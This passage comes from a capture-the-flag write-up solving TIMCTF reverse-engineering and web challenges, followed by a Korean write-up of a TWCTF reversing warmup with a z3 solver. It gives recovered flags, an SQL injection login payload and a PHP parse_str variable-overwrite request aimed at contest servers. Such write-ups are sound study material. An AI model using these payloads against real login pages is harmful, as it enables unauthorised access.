	gdb.execute('file math',to_string=True)
	gdb.execute('b*main+561',to_string=True) # 0x55555555494b
	gdb.execute('r <<< ' + '"' + payload + go_table[i] + '"',to_string=True)
	d = gdb.execute('x/s $rax',to_string=True).split(' ')[1].replace('\n','').replace('"','').replace('<ciphertext>:\t','')
	print(payload + go_table[i] + " : " + d)
	if d == "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcb":
		print('FLAG' + ' : ' + payload + go_table[i])
		break
gdb.execute('q',to_string=True)

FLAG : TIMCTF{I_s33_you_UnDeRsTaNd_x86}


Pipes (200pts)

Description : Someone said this program likes to smoke. Alot. See what’s inside

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  bool v4; // al
  unsigned __int8 buf; // [rsp+7h] [rbp-59h]
  int v6; // [rsp+8h] [rbp-58h]
  int j; // [rsp+Ch] [rbp-54h]
  int i; // [rsp+10h] [rbp-50h]
  __pid_t pid; // [rsp+14h] [rbp-4Ch]
  char *s1; // [rsp+18h] [rbp-48h]
  __int64 v11; // [rsp+20h] [rbp-40h]
  __int64 v12; // [rsp+28h] [rbp-38h]
  __int64 v13; // [rsp+30h] [rbp-30h]
  __int64 v14; // [rsp+38h] [rbp-28h]
  __int64 v15; // [rsp+40h] [rbp-20h]
  __int16 v16; // [rsp+48h] [rbp-18h]
  unsigned __int64 v17; // [rsp+58h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  v11 = 7142820555239287888LL;
  v12 = 8462115404900429676LL;
  v13 = 7451053173976080498LL;
  v14 = 7953753264878285413LL;
  v15 = 2387226065748172907LL;
  v16 = 10;
  if ( ptrace(0, 0LL, 1LL, 0LL) == -1 )
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, &v11);
    result = 255;
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, "Enter password: \n");
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);
    if ( pipe(pipe_1) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else if ( pipe(pipe_2) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else
    {
      pid = fork();
      if ( pid == -1 )
      {
        std::operator<<<std::char_traits<char>>(&_bss_start, "Fork failed!\n");
        result = 0;
      }
      else if ( pid )
      {
        s1 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&input);
        v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&input) != 48
          || strncmp(s1, "TIMCTF{", 7uLL)
          || s1[47] != 125;
        if ( v4 )
        {
          std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
          result = 0;
        }
        else
        {
          for ( i = 7; i <= 46; ++i )
          {
            write(dword_202324, &s1[i], 1uLL);
            if ( read(pipe_2[0], &v6, 4uLL) <= 0 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "P: Read failed!\n");
              return 0;
            }
            if ( flag[i - 7] != v6 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
              return 0;
            }
          }
          std::operator<<<std::char_traits<char>>(&_bss_start, "Yay, you got the flag!\n");
          close(pipe_1[0]);
          close(dword_202324);
          close(pipe_2[0]);
          close(fd);
          waitpid(pid, 0LL, 1);
          result = 0;
        }
      }
      else
      {
        for ( j = 0; j <= 39; ++j )
        {
          buf = 0;
          if ( read(pipe_1[0], &buf, 1uLL) <= 0 )
          {
            std::operator<<<std::char_traits<char>>(&_bss_start, "C: Read failed!\n");
            return 0;
          }
          buf += 96;
          rol(&buf, 2);
          buf ^= 0x7Fu;
          buf = ~buf;
          v6 = 237 * buf;
          write(fd, &v6, 4uLL);
        }
        result = 0;
      }
    }
  }
  return result;
}

compare the flag characters

lea     rax, flag
mov     edx, [rdx+rax]
mov     eax, [rbp+compare]
cmp     edx, eax
flag = [0x000035B2, 0x0000B39A, 0x000074A6, 0x0000AD1F, 
0x0000BEB6, 0x0000BEB6, 0x00008817, 0x000074A6, 
0x00008F7F, 0x0000B0D3, 0x0000BBEF, 0x000074A6, 
0x0000B487, 0x00009A9B, 0x00003D1A, 0x00008BCB, 
0x000074A6, 0x00009A9B, 0x00008F7F, 0x000074A6, 
0x0000C357, 0x000096E7, 0x00008BCB, 0x0000BBEF,
0x00008BCB, 0x000074A6, 0x00009A9B, 0x0000BFA3, 
0x000074A6, 0x000035B2, 0x0000B39A, 0x000074A6, 
0x0000B487, 0x0000232E, 0x0000B487, 0x0000145E, 
0x0000CE73, 0x0000145E, 0x00008BCB, 0x000010AA]

set 48 characters with TIMCTF{…}

I brought the rax value before comparing it with the flag. and bring each letter.

FLAG : TIMCTF{N0_n33d_for_piPe_if_there_is_N0_pIpEwEeD}


Strange jump (250pts)

This application likes to jump!

I found actual_decrypt function!

unsigned __int64 actual_decrypt(void)
{
  size_t v0; // rax
  size_t v1; // rbx
  unsigned __int8 v3; // [rsp+Ah] [rbp-216h]
  char v4; // [rsp+Bh] [rbp-215h]
  int v5; // [rsp+Ch] [rbp-214h]
  int v6; // [rsp+10h] [rbp-210h]
  signed int i; // [rsp+14h] [rbp-20Ch]
  signed int j; // [rsp+18h] [rbp-208h]
  signed int k; // [rsp+1Ch] [rbp-204h]
  signed int l; // [rsp+20h] [rbp-200h]
  int m; // [rsp+24h] [rbp-1FCh]
  char v12[8]; // [rsp+30h] [rbp-1F0h]
  char v13[8]; // [rsp+50h] [rbp-1D0h]
  char v14[8]; // [rsp+70h] [rbp-1B0h]
  __int64 v15; // [rsp+B0h] [rbp-170h]
  __int64 v16; // [rsp+B8h] [rbp-168h]
  __int64 v17; // [rsp+C0h] [rbp-160h]
  __int64 v18; // [rsp+C8h] [rbp-158h]
  __int64 v19; // [rsp+D0h] [rbp-150h]
  __int64 v20; // [rsp+D8h] [rbp-148h]
  __int64 v21; // [rsp+E0h] [rbp-140h]
  __int64 v22; // [rsp+E8h] [rbp-138h]
  char v23; // [rsp+F0h] [rbp-130h]
  char v24[264]; // [rsp+100h] [rbp-120h]
  unsigned __int64 v25; // [rsp+208h] [rbp-18h]

  v25 = __readfsqword(0x28u);
  memset(v24, 0, 0x100uLL);
  while ( 1 )
  {
    v0 = strlen(byte_203302);
    if ( isprint(byte_203302[v0 - 1]) )
      break;
    byte_203302[strlen(byte_203302) - 1] = 0;
  }
  strcpy(v14, "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9");
  v15 = 'HGFEDCBA';
  v16 = 'PONMLKJI';
  v17 = 'XWVUTSRQ';
  v18 = 'fedcbaZY';
  v19 = 'nmlkjihg';
  v20 = 'vutsrqpo';
  v21 = '3210zyxw';
  v22 = '/+987654';
  v23 = 0;
  strcpy(v12, "NOOOOOOOOOOOOOOOOOO\n");
  strcpy(v13, "Yay, you got the flag!\n");
  v6 = 0;
  v4 = 0;
  for ( i = 0; i < strlen(byte_203302); i += 3 )
  {
    v5 = byte_203302[i + 2] | ((byte_203302[i + 1] | (byte_203302[i] << 8)) << 8);
    for ( j = 0; j <= 2; ++j )
    {
      if ( !byte_203302[i + j] )
        v4 = 1;
    }
    for ( k = 3; k >= 0; --k )
    {
      v3 = 0;
      for ( l = 5; l >= 0; --l )
      {
        if ( v5 & (1 << (6 * k + l)) )
          v3 |= 1 << l;
      }
      if ( v3 )
      {
        v24[v6] = *(&v15 + v3);
      }
      else if ( v4 )
      {
        v24[v6] = 61;
      }
      else
      {
        v24[v6] = 65;
      }
      ++v6;
    }
  }
  v1 = strlen(v14);
  if ( v1 == strlen(v24) )
  {
    for ( m = 0; ; ++m )
    {
      if ( !v14[m] )
      {
        puts(v13);
        exit(0);
      }
      if ( v14[m] != v24[m] )
        break;
    }
    puts(v12);
  }
  else
  {
    puts(v12);
  }
  return __readfsqword(0x28u) ^ v25;
}

This function do base64 calculation.

Put the VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9 in v14.

just base64 decode VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9.

>>> import base64
>>> base64.b64decode('VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9')
'TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}'

FLAG : TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}


Web

Not so empty website (50pts)

This website looks empty, but trust me, it is not!

http://89.38.208.143:20001/

  • We can see web site link.
  • Check the html code, and we can see flag.
<!DOCTYPE html>
<html>
<head>
	<title>NO FLAG</title>
</head>
<body>
    <div style="margin-top:100px"><a style="font-family: San Francisco;font-size: 54px;line-height: 41px;color: #000000;">I KNOW YOU WANT A FLAG BUT I DON'T HAVE ANY!</a></div>
    <!--Or I do: TIMCTF{D0_not_b3_superfic1al}-->
</body>

FLAG : TIMCTF{D0_not_b3_superfic1al}


Secret key of swag (150pts)

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

http://89.38.208.143:20002/

This is a reupload as yesterday an unintended solution was found

index.php 99b9fd6c5262ab6762059d333ced10eb

in index.php

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'login') {
    if (!empty($res['key'])) {
        $key = $res['key'];
    }

    if (!empty($key)) {
        $processed_key = strtoupper($key);
    }
    if (!empty($processed_key) && $processed_key === 'hax0r') {
        echo file_get_contents( "flag.txt" );
    }
    else {
        echo 'Sorry, you don\'t have enough swag to enter';
    }
}

?>
  • We can use parse_str() function to control $processed_key varriable.

http://89.38.208.143:20002/?action=login&processed_key=hax0r

Please inspect element, your flag is there<?php
//TIMCTF{Welcome_M4N_of_SW4G}, I have been expecting you!
?>

FLAG : TIMCTF{Welcome_M4N_of_SW4G}


Admin panel (200pts)

Your job is to hack this admin panel and login.

http://89.38.208.143:20003/

  • Input asdf@asdf.com in Email
  • Input ' or 1=1;# in Password

FLAG : TIMCTF{SqL_1nj3ct1on_1s_b4ck_1n_town}

Reverse Warmup 문제로 나온 문제다.

main 코드를 보면 연산하고 memcmp로 비교한다. 분기들을 다 만족 시켜주면 된다.

if ( a1 == 2 )
  {
    s = a2[1];
    if ( strlen(a2[1]) != 39 )
    {
      puts("incorrect");
      exit(0);
    }
    if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != 125 )
    {
      puts("incorrect");
      exit(0);
    }
  • 우선 argv로 입력받은 값은 39글자인지 비교한다.
  • 입력 받은 값이 TWCTF{ 로 시작하고 뒤에 } 붙여야한다.


		s1 = 0LL;
    v38 = 0LL;
    v39 = 0LL;
    v40 = 0LL;
    v41 = 0LL;
    v42 = 0LL;
    v43 = 0LL;
    v44 = 0LL;
    v46 = 3978425819141910832LL;
    v47 = 7378413942531504440LL;
    for ( i = 0; i <= 15; ++i )
    {
      for ( j = strchr(s, *(&v46 + i)); j; j = strchr(j + 1, *(&v46 + i)) )
        ++*(&s1 + i);
    }
    if ( memcmp(&s1, &unk_400F00, 0x40uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • { }사이는 “0123456789abcdef” 만 들어간다. 16진수 값만 들어간다고 한다. 각각 개수는 3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3 를 만족해야한다.


for ( k = 0; k <= 7; ++k )
    {
      v10 = 0;
      v11 = 0;
      for ( l = 0; l <= 3; ++l )
      {
        v5 = s[4 * k + 6 + l];
        v10 += v5;
        v11 ^= v5;
      }
      *(&v21 + k) = v10;
      *(&v25 + k) = v11;
    }

if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[4 * k + 6 + l] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( m = 0; m <= 7; ++m )
    {
      v14 = 0;
      v15 = 0;
      for ( n = 0; n <= 3; ++n )
      {
        v6 = s[8 * n + 6 + m];
        v14 += v6;
        v15 ^= v6;
      }
      *(&v29 + m) = v14;
      *(&v33 + m) = v15;
    }

if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[8 * n + 6 + m] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( ii = 0; ii <= 31; ++ii )
    {
      v7 = s[ii + 6];
      if ( v7 <= 47 || v7 > 57 )
      {
        if ( v7 <= 96 || v7 > 102 )
          v45[ii] = 0;
        else
          v45[ii] = 128;
      }
      else
      {
        v45[ii] = 255;
      }
    }
    if ( memcmp(v45, &unk_400FC0, 0x80uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • 이곳은 s의 문자열 범위 지정해준다.


v18 = 0;
    for ( jj = 0; jj <= 15; ++jj )
      v18 += s[2 * (jj + 3)];
    if ( v18 != 1160 )
    {
      puts("incorrect");
      exit(0);
    }
  • s[2 * (jj + 3)]의 값들의 합이 1160이면 된다.


if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 )
    {
      puts("incorrect");
      exit(0);
    }
  • 각각 인덱스의 값을 만족시키면 된다.


from z3 import * 

s = Solver()

a1 = [BitVec('a%i'%i,8) for i in range(39)]

s.add(a1[0] == ord('T'))
s.add(a1[1] == ord('W'))
s.add(a1[2] == ord('C'))
s.add(a1[3] == ord('T'))
s.add(a1[4] == ord('F'))
s.add(a1[5] == ord('{'))
s.add(a1[38] == ord('}'))
s.add(a1[37] == 53 , a1[7] == 102 , a1[11] == 56 , a1[12] == 55 , a1[23] == 50 , a1[31] == 52)

v45 = [0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x61,0x62,0x63,0x64,0x65,0x66]
# 0 1 2 3 4 5 6 7 8 9 a b c d e f 
tb1 = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]
tb2 = [0x015E, 0x00DA, 0x012F, 0x0131, 0x0100, 0x0131, 0x00FB, 0x0102]
tb3 = [82, 12, 1, 15, 92, 5,